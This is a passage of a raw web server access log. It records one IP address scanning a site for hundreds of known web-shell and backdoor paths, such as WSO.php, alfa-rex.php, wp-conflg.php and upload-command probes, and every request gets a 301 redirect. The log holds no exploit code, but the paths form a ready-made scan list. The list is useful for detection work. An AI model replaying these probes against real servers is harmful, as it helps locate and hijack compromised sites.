//wp-includes/SimplePie/index.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:53:32 -0400] "GET //wp-includes/blocks/table/them/tmpl/index.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:53:33 -0400] "GET //wp-includes/certificates/chosen.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:53:34 -0400] "GET //wp-includes/images/about.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:53:34 -0400] "GET //wp-includes/js/chosen.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:53:35 -0400] "GET //wp-includes/js/tinymce/plugins/compat3x/css/index.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:53:35 -0400] "GET //wp-includes/js/tinymce/skins/lightgray/img/index.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:53:36 -0400] "GET //wp-includes/pomo/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:53:37 -0400] "GET //wp-includes/style-engine/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:53:37 -0400] "GET //wp-includes/theme-compat/chosen.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:53:37 -0400] "GET //ws.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:53:38 -0400] "GET //zwso.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:53:38 -0400] "GET /0.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:53:39 -0400] "GET /01.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:53:39 -0400] "GET /02.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:53:40 -0400] "GET /0x.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:53:40 -0400] "GET /1.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:53:41 -0400] "GET /1.php7 HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:53:41 -0400] "GET /1.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:53:41 -0400] "GET /100.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:53:42 -0400] "GET /11index.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:53:43 -0400] "GET /12.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:53:43 -0400] "GET /123.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:53:44 -0400] "GET /12wudscz.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:53:45 -0400] "GET /13.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:53:45 -0400] "GET /1xm.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:53:45 -0400] "GET /2.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:53:47 -0400] "GET /22.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:53:48 -0400] "GET /22.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:53:49 -0400] "GET /24.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:53:49 -0400] "GET /2index.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:53:50 -0400] "GET /3index.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:53:51 -0400] "GET /403.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:53:52 -0400] "GET /404.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:53:53 -0400] "GET /4Oj8Ed6N1tu.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:53:53 -0400] "GET /4Q.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:53:53 -0400] "GET /6.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:53:54 -0400] "GET /7.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:53:54 -0400] "GET /WSO.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:53:55 -0400] "GET /a.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:53:55 -0400] "GET /a.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:53:56 -0400] "GET /aa.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:53:57 -0400] "GET /aaa.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:53:57 -0400] "GET /ab.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:53:58 -0400] "GET /about.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:53:59 -0400] "GET /about.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:53:59 -0400] "GET /about.php?525 HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:54:00 -0400] "GET /about.php?dir=/home/prsvnvn/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:54:00 -0400] "GET /about.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:54:01 -0400] "GET /about/function.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:54:02 -0400] "GET /about/function.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:54:03 -0400] "GET /about/function.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:54:03 -0400] "GET /access.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:54:04 -0400] "GET /admin HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:54:05 -0400] "GET /admin-footer.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:54:06 -0400] "GET /admin-post.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:54:06 -0400] "GET /admin.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:54:07 -0400] "GET /admin.php/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:54:07 -0400] "GET /admin.php7 HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:54:08 -0400] "GET /admin.php?attempt=1 HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:54:08 -0400] "GET /admin.php?debug=on&cmd=upload HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:54:09 -0400] "GET /admin.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:54:10 -0400] "GET /admin/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:54:11 -0400] "GET /admin//function.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:54:12 -0400] "GET /admin/admin.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:54:13 -0400] "GET /admin/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:54:14 -0400] "GET /admin/controller/extension/extension/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:54:15 -0400] "GET /admin/controller/extension/extension/index.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:54:18 -0400] "GET /admin/controller/extension/extension/ultra.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:54:19 -0400] "GET /admin/editor/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:54:20 -0400] "GET /admin/fckeditor/editor/filemanager/updates.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:54:21 -0400] "GET /admin/function.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:54:21 -0400] "GET /admin/function.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:54:24 -0400] "GET /admin/index_upload.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:54:24 -0400] "GET /admin/upload/css.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:54:25 -0400] "GET /admin/upload/themes-install.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:54:26 -0400] "GET /admin2.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:54:28 -0400] "GET /admin_logs.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:54:29 -0400] "GET /adminer.php?db=stealth HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:54:29 -0400] "GET /adminfuns.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:54:30 -0400] "GET /administrator/templates/bluestork/error.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:54:30 -0400] "GET /administrator/templates/hathor/index.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:54:32 -0400] "GET /administrator/templates/isis/error.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:54:32 -0400] "GET /al.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:54:33 -0400] "GET /alf.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:54:33 -0400] "GET /alfa-rex.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:54:33 -0400] "GET /alfa-rex.php7 HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:54:34 -0400] "GET /alfa.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:54:34 -0400] "GET /alfanew.PHP7 HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:54:35 -0400] "GET /alfanew.PhP7 HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:54:35 -0400] "GET /alfanew.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:54:36 -0400] "GET /alfanew.php7 HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:54:36 -0400] "GET /alfanew2.php7 HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:54:37 -0400] "GET /alfashell.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:54:37 -0400] "GET /ans.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:54:38 -0400] "GET /api.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:54:39 -0400] "GET /api/.config.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:54:39 -0400] "GET /app/wp-content/plugins/fix/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:54:40 -0400] "GET /as.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:54:40 -0400] "GET /as/function.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:54:41 -0400] "GET /asasx.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:54:41 -0400] "GET /aspeV9cCZPQ.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:54:42 -0400] "GET /assets/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:54:43 -0400] "GET /assets/css/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:54:43 -0400] "GET /assets/images/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:54:44 -0400] "GET /assets/images//NOFmvAjT.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:54:44 -0400] "GET /assets/images//niil.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:54:45 -0400] "GET /assets/images//scan.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:54:45 -0400] "GET /assets/images/1741753877buyyx.php7 HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:54:46 -0400] "GET /assets/images/28c5400b0b.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:54:47 -0400] "GET /assets/images/doc.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:54:48 -0400] "GET /assets/images/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:54:48 -0400] "GET /assets/index.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:54:50 -0400] "GET /assets/vendor/bootstrap/css/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:54:51 -0400] "GET /assets/xp.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:54:53 -0400] "GET /atomlib.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:54:54 -0400] "GET /autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:54:56 -0400] "GET /autoload_classmap.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:54:58 -0400] "GET /avaa.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:54:59 -0400] "GET /b.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:55:00 -0400] "GET /b0.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:55:01 -0400] "GET /bQmw.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:55:04 -0400] "GET /backup.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:55:07 -0400] "GET /baindex.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:55:09 -0400] "GET /bak.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:55:10 -0400] "GET /bala.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:55:15 -0400] "GET /baxa1.phP8 HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:55:20 -0400] "GET /bb.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:55:24 -0400] "GET /ben.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:55:26 -0400] "GET /bitrix/admin/htmleditor2/natural.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:55:27 -0400] "GET /blog.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:55:28 -0400] "GET /blog/fw.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:55:28 -0400] "GET /blog/wp-includes/index.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:55:29 -0400] "GET /bob.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:55:30 -0400] "GET /brU.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:55:32 -0400] "GET /browse.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:55:34 -0400] "GET /bs1.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:55:35 -0400] "GET /bs1.php?d=2f7777772f3030396437 HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:55:35 -0400] "GET /buy.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:55:36 -0400] "GET /buy.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:55:38 -0400] "GET /byp.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:55:39 -0400] "GET /bypass.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:55:39 -0400] "GET /c.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:55:40 -0400] "GET /cZkmtUnJVfi.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:55:41 -0400] "GET /cache/b/c/e/b/mdtcshwavxn.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:55:42 -0400] "GET /cache/d/d/b/d/zwdlhkfyupn.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:55:43 -0400] "GET /cache/d/h/d/f/ukstnfjlbov.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:55:43 -0400] "GET /cache/e/e/e/b/abkiszpjdfx.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:55:44 -0400] "GET /cache/g/a/d/b/qtrxajmpgek.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:55:45 -0400] "GET /cache/g/c/h/b/tfuoqlvyakp.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:55:46 -0400] "GET /cc.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:55:47 -0400] "GET /cd.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:55:47 -0400] "GET /cgi-bin/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:55:49 -0400] "GET /cgi-bin/about.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:55:49 -0400] "GET /cgi-bin/admin.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:55:51 -0400] "GET /cgi-bin/b.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:55:53 -0400] "GET /cgi-bin/bak.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:55:55 -0400] "GET /cgi-bin/cgi-bin/about.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:55:56 -0400] "GET /cgi-bin/cloud.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:55:58 -0400] "GET /cgi-bin/file.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:55:59 -0400] "GET /cgi-bin/head.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:56:01 -0400] "GET /cgi-bin/index.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:56:04 -0400] "GET /cgi-bin/index.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:56:06 -0400] "GET /cgi-bin/index.php?p=&upload HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:56:08 -0400] "GET /cgi-bin/moon.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:56:09 -0400] "GET /cgi-bin/users.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:56:10 -0400] "GET /cgi-bin/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:56:10 -0400] "GET /cgi-bin/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:56:12 -0400] "GET /chosen HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:56:13 -0400] "GET /chosen.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:56:13 -0400] "GET /chosen.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:56:14 -0400] "GET /chosen/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:56:15 -0400] "GET /chosen?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:56:16 -0400] "GET /cjfuns.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:56:16 -0400] "GET /class-php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:56:17 -0400] "GET /class-wp-lock.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:56:17 -0400] "GET /class.api.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:56:18 -0400] "GET /class.api.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:56:18 -0400] "GET /classsmtps.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:56:20 -0400] "GET /classwithtostring.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:56:21 -0400] "GET /classwithtostring.php/rbzccnnp.php/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:56:21 -0400] "GET /classwithtostring.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:56:22 -0400] "GET /click.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:56:23 -0400] "GET /click.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:56:23 -0400] "GET /cloud.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:56:24 -0400] "GET /cms.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:56:24 -0400] "GET /comment.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:56:25 -0400] "GET /components/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:56:26 -0400] "GET /conf_upload.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:56:27 -0400] "GET /config.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:56:28 -0400] "GET /config.php7 HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:56:28 -0400] "GET /configs.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:56:29 -0400] "GET /cong.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:56:30 -0400] "GET /cong.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:56:30 -0400] "GET /contact.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:56:31 -0400] "GET /contacts.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:56:31 -0400] "GET /content.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:56:32 -0400] "GET /content.php888 HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:56:32 -0400] "GET /cpouchon/ORTHOSKIM HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:56:32 -0400] "GET /css.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:56:33 -0400] "GET /css.php/cloud.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:56:34 -0400] "GET /css.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:56:34 -0400] "GET /css/.tmp/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:56:34 -0400] "GET /css/ALFA_DATA/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:56:35 -0400] "GET /css/admin.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:56:35 -0400] "GET /css/cloud.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:56:36 -0400] "GET /css/cong.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:56:37 -0400] "GET /css/default.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:56:38 -0400] "GET /css/index.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:56:39 -0400] "GET /css/nop.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:56:39 -0400] "GET /css/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:56:39 -0400] "GET /csv.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:56:40 -0400] "GET /custom-background.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:56:40 -0400] "GET /cux.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:56:41 -0400] "GET /d.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:56:41 -0400] "GET /d8Q4AflCtoJ.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:56:42 -0400] "GET /data.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:56:42 -0400] "GET /data/.backup.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:56:43 -0400] "GET /db.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:56:43 -0400] "GET /defaul1.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:56:44 -0400] "GET /default.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:56:44 -0400] "GET /defaults.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:56:45 -0400] "GET /dg6Umx2OrVh.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:56:45 -0400] "GET /doc.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:56:46 -0400] "GET /dropdown.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:56:47 -0400] "GET /dropdown.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:56:47 -0400] "GET /ds.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:56:48 -0400] "GET /e.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:56:48 -0400] "GET /eVhyNnBmDl4.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:56:48 -0400] "GET /ecoraiderusa.com/cong.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:56:49 -0400] "GET /edit.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:56:50 -0400] "GET /edit.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:56:50 -0400] "GET /ee.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:56:50 -0400] "GET /epinyins.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:56:52 -0400] "GET /erin1.PhP7 HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:56:53 -0400] "GET /error.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:56:54 -0400] "GET /error.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:56:55 -0400] "GET /es-ar//wp-content/admin.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - 